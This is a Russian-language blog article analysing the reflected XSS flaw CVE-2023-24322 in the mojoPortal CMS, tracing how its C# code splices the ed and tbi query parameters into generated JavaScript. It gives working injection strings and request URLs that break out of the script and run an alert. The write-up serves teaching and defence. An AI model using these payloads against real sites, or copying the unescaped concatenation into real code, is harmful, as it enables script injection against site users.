В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C#. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов.
Что такое cross-site scripting (XSS)?
Примечание. Можете пропустить этот раздел, если уже знакомы с основами XSS.
XSS (cross-site scripting) — уязвимость веб-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript-кода и похитить данные или выполнить другую вредоносную логику.
Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования.
Допустим, есть JS-скрипт, который извлекает из строки запроса значение параметра name и приветствует пользователя на веб-странице:
<script>
var urlParams = new URLSearchParams(window.location.search);
var nameParam = urlParams.get("name");
var name = nameParam ? nameParam : "stranger";
document.write('<div>Hello '+ name + '!</div>');
</script>
Выполняем запрос вида XSSExample.html?name=John и получаем ожидаемый ответ на странице — "Hello John!".
Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен.
Пример запроса:
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
Результат:
Нам удалось провести инъекцию кода. Этот дефект безопасности называется отражённой XSS (reflected XSS). Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице (например, кликнув по вредоносной ссылке). Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS.
Разбор XSS в CMS mojoPortal (CVE-2023-24322)
От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal. mojoPortal — это CMS, написанная на C# с использованием ASP.NET. Код проекта доступен на GitHub, а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии 2.7.0.0.
Рассматриваемая XSS-уязвимость имеет идентификатор CVE-2023-24322: A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.
Из описания достаём несколько важных фактов:
- уязвимость находится на странице FileDialog.aspx;
- эксплуатировать дефект безопасности можно через параметры запроса ed и tbi.
Что первым делом приходит в голову при попытке проверить XSS? Наверное, передать через уязвимый параметр данные вида <script>alert(0)</script>. :)
Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт.
Запись в параметр ed не приводит к видимым результатам:
А вот если ту же строку передать через параметр tbi, то содержимое страницы изменится интересным образом:
Однако это всё равно не то, чего мы ожидали — всплывающего окошка (результат вызова alert) не появилось.
Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса.
Общая логика
Посмотрим на код и попробуем понять, что объединяет параметры ed и tbi, после чего проанализируем обработку каждого из них.
Начнём с метода, который обрабатывает событие загрузки страницы FileDialog.aspx — Page_Load:
protected void Page_Load(object sender, EventArgs e)
{
LoadSettings();
if (fileSystem == null) { return; }
PopulateLabels();
SetupScripts();
}
В первую очередь нас интересует логика метода LoadSettings — в нём значения параметров ed и tbi записываются в поля editorType и clientTextBoxId соответственно.
public partial class FileDialog : Page
{
private string editorType = string.Empty;
private string clientTextBoxId = string.Empty;
....
private void LoadSettings()
{
....
if (Request.QueryString["ed"] != null)
{
editorType = Request.QueryString["ed"];
}
....
if (Request.QueryString["tbi"] != null)
{
clientTextBoxId = Request.QueryString["tbi"];
}
....
}
....
}
Возвращаемся в Page_Load:
protected void Page_Load(object sender, EventArgs e)
{
LoadSettings();
if (fileSystem == null) { return; }
PopulateLabels();
SetupScripts();
}
Проверка fileSystem == null даёт false, а метод PopulateLabels для нас не интересен. Так что посмотрим на тело SetupScripts:
private void SetupScripts()
{
SetupMainScript();
SetupjQueryFileTreeScript();
SetupClearFileInputScript();
}
Здесь нас интересуют 2 метода: SetupMainScript и SetupjQueryFileTreeScript. Немного позже вы поймёте, почему.
Начнём с метода SetupMainScript:
private void SetupMainScript()
{
switch (editorType)
{
case "tmc":
SetupTinyMce();
break;
case "ck":
SetupCKeditor();
break;
case "fck":
SetupFCKeditor();
break;
default:
SetupDefaultScript();
break;
}
}
Ага, switch по знакомому полю — editorType (параметр ed). Меняя значение параметра, мы влияем на логику исполнения кода. Сейчас нас интересует default-секция и вызов метода SetupDefaultScript:
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
script.Append("function fbSubmit () {");
if(browserType == "folder")
{
script.Append(
"var URL = document.getElementById('"
+ hdnFolder.ClientID
+ "').value; ");
}
else
{
script.Append(
"var URL = document.getElementById('"
+ hdnFileUrl.ClientID
+ "').value; ");
}
//script.Append("alert(URL);");
script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
//script.Append("window.close();");
//script.Append("window.opener.focus();");
script.Append("}");
script.Append("\n</script>");
this.Page
.ClientScript
.RegisterClientScriptBlock(typeof(Page),
"fbsubmit",
script.ToString());
}
Интересно. Метод постепенно записывает JavaScript-код в переменную script, после чего регистрирует полученный скрипт через вызов метода RegisterClientScriptBlock. При этом в скрипт подставляется и значение поля clientTextBoxId, соответствующее параметру tbi.
Похожая история происходит и в методе SetupjQueryFileTreeScript, который я упоминал ранее. Метод также формирует и регистрирует скрипт, используя значение поля editorType (соответствует параметру ed).
Ниже привожу сокращённое тело метода SetupjQueryFileTreeScript, так как он достаточно объёмный. Код целиком можно посмотреть по ссылке.
private void SetupjQueryFileTreeScript()
{
....
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
....
script.Append(
"var returnUrl = encodeURIComponent('"
+ navigationRoot
+ "/Dialog/FileDialog.aspx?ed="
+ editorType
+ "&type="
+ browserType
+ "&dir=' + selDir) ; ");
....
script.Append("\n</script>");
this.Page
.ClientScript
.RegisterStartupScript(
typeof(Page),
"jqftinstance",
script.ToString());
}
Давайте повторим ещё раз, так как это важный момент.
Оба рассмотренных метода — SetupDefaultScript и SetupjQueryFileTreeScript — имеют структуру общего вида и используют значения параметров HTTP-запроса tbi и ed для составления скрипта.
В обобщённом (и упрощённом) виде код методов выглядит так:
void SetupScript()
{
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
script.Append(....);
// tbi and ed values are appended to the script
....
script.Append("\n</script>");
this.Page
.RegisterScript(typeof(Page),
....,
script.ToString());
}
Наша задача — попробовать "сломать" скрипт, записываемый в переменную script. Если всё удастся, мы изменим логику генерируемого скрипта и увидим результат инъекции кода.
Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными. Рассмотрим каждый из них по отдельности.
Примечание о форматировании скриптов. В статье я отформатировал JS-скрипты для удобства чтения. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:
<script type="text/javascript">function fbSubmit () { .... }
</script>
Здесь можно посмотреть на этот же скрипт без сокращений с оригинальным форматированием.
Помните про эту особенность, так как она влияет на эксплойт.
Эксплойт с использованием параметра tbi
Скрипт с использованием параметра tbi выглядит попроще — с него и начнём.
Выполним запрос следующего вида:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
Тогда JS-код, который генерируется в методе SetupDefaultScript, может выглядеть так:
<script type = "text/javascript">
function fbSubmit() {
var URL = document.getElementById('hdnFileUrl').value;
top.window.SetUrl(URL, 'TestPayload');
}
</script>
Обратите внимание на второй аргумент метода SetUrl: именно туда попали наши данные, будучи обёрнутыми в кавычки.
Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода. Для этого эксплойт должен решить ряд задач:
- "закрыть" второй аргумент функции SetUrl;
- "закрыть" вызов функции SetUrl;
- выйти за пределы тела функции fbSubmit;
- провести инъекцию кода;
- закомментировать оставшийся кусок изначального кода (тот код, который закрывает шаблон подстановки).
Все поставленные задачи должна решить строка следующего вида:
TestPayload');}alert('You have been hacked via XSS');//
Разберём, за что отвечают её части:
- TestPayload' "закрывает" аргумент функции;
- ); "закрывает" вызов функции SetUrl;
- } "закрывает" тело функции fbSubmit;
- alert('You have been hacked via XSS'); — основная логика инъекции;
- // — комментирует часть исходного шаблона, которая осталась после подстановки — ');}.
Теперь проверим наше предположение. Для этого выполним такой запрос:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
Получаем ожидаемый результат:
Давайте посмотрим, как стал выглядеть генерируемый JS-код при таком запросе:
<script type = "text/javascript">
function fbSubmit() {
var URL = document.getElementById('hdnFileUrl').value;
top.window.SetUrl(URL, 'TestPayload');
}
alert('You have been hacked via XSS'); //');}
</script>
Как видно, эксплойт решил все поставленные задачи: с его помощью мы смогли выйти за рамки функции и успешно внедрить код.
Что ж, здорово! Мы поняли, как можно использовать параметр tbi, чтобы эксплуатировать XSS-уязвимость. Теперь переходим ко второму уязвимому параметру — ed.
Эксплойт с использованием параметра ed
Принцип составления эксплойта для параметра ed аналогичен tbi.
Напомню, что интересующий нас JS-код, в который подставляется значение параметра ed, генерируется в методе SetupjQueryFileTreeScript.
Выполним запрос следующего вида:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
Теперь посмотрим на то, какой скрипт будет сгенерирован. Код целиком можно посмотреть здесь, ниже привожу сокращённый вариант:
<script type="text/javascript">
....
$(document).ready(function () {
....
$('#pnlFileTree').fileTree({
....
}, function (file) {
....
var returnUrl = encodeURIComponent(
'http://localhost:56987/Dialog
/FileDialog.aspx?ed=TestPayload&type=image&dir='
+ selDir);
....
}, function (folder) {
....
});
});
....
</script>
Обратите внимание, что значение параметра ed — строка TestPayload — попала внутрь литерала.
Перед нами стоит задача, аналогичная той, что была в предыдущем случае. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции encodeURIComponent и выполнить инъекцию кода.
Эксплойт так же, как и в прошлый раз, должен решать несколько задач:
- "закрыть" аргумент функции encodeURIComponent;
- "закрыть" вызовы и тела функций;
- внедрить код;
- закомментировать "хвост" шаблона, который останется после внедрения логики.
Под все требования подходит строка следующего вида:
TestPayload');});});alert('You have been hacked via XSS');//
Смысл её составляющих уже должен быть понятен:
- TestPayload' "закрывает" аргумент функции encodeURIComponent;
- ); "закрывает" вызов функции encodeURIComponent;
- });}); используется для того, чтобы закрыть тела внешних функций;
- alert('You have been hacked via XSS'); — основная логика инъекции кода;
- // служит для комментирования части исходного скрипта, которая осталась после подстановки.
Выполняем запрос следующего вида:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
Смотрим на результат:
На выходе получили точно то, что ожидали.
С указанным выше значением параметра сгенерированный JS-код принял такой вид (сокращённая версия, полная — здесь):
<script type = "text/javascript">
....
$(document).ready(function () {
....
$('#pnlFileTree').fileTree({
....
}, function (file) {
....
var returnUrl = encodeURIComponent(
'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
});
});
alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
Всё сработало так, как мы и ожидали: мы смогли выйти из тел функции и внедрить собственный код. Обратите внимание на то, как данные из нашего запроса встроились в скрипт и изменили его логику:
Как исправили код?
В текущей версии проекта файла FileDialog.aspx.cs, который и содержал уязвимости, нет. Предположу, что код переписали или попросту убрали.
Заключение
Мы разобрали, как XSS может выглядеть на практике. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:
- CVE-ID: CVE-2023-24322
- проект: mojoPortal v2.7.0.0
- суть уязвимости: возможность выполнить XSS на странице /Dialog/FileDialog.aspx при использовании параметров ed и tbi
- возможный эксплойт для ed: TestPayload');});});alert('You have been hacked via XSS');//
- возможный эксплойт для tbi: TestPayload');}alert('You have been hacked via XSS');//
Если эта статья понравилась, и хочется почитать ещё что-нибудь на тему безопасности, предлагаю полистать блог.
Если хотите проверить код своего проекта на дефекты безопасности (XSS, SQLi, XXE и т. п.), проанализируйте его с помощью PVS-Studio.
mayorovp
Кто-нибудь, помогите им уже закопать стюардессу!
SergVasiliev Автор
Проект старенький, информация об уязвимости — свежая. :)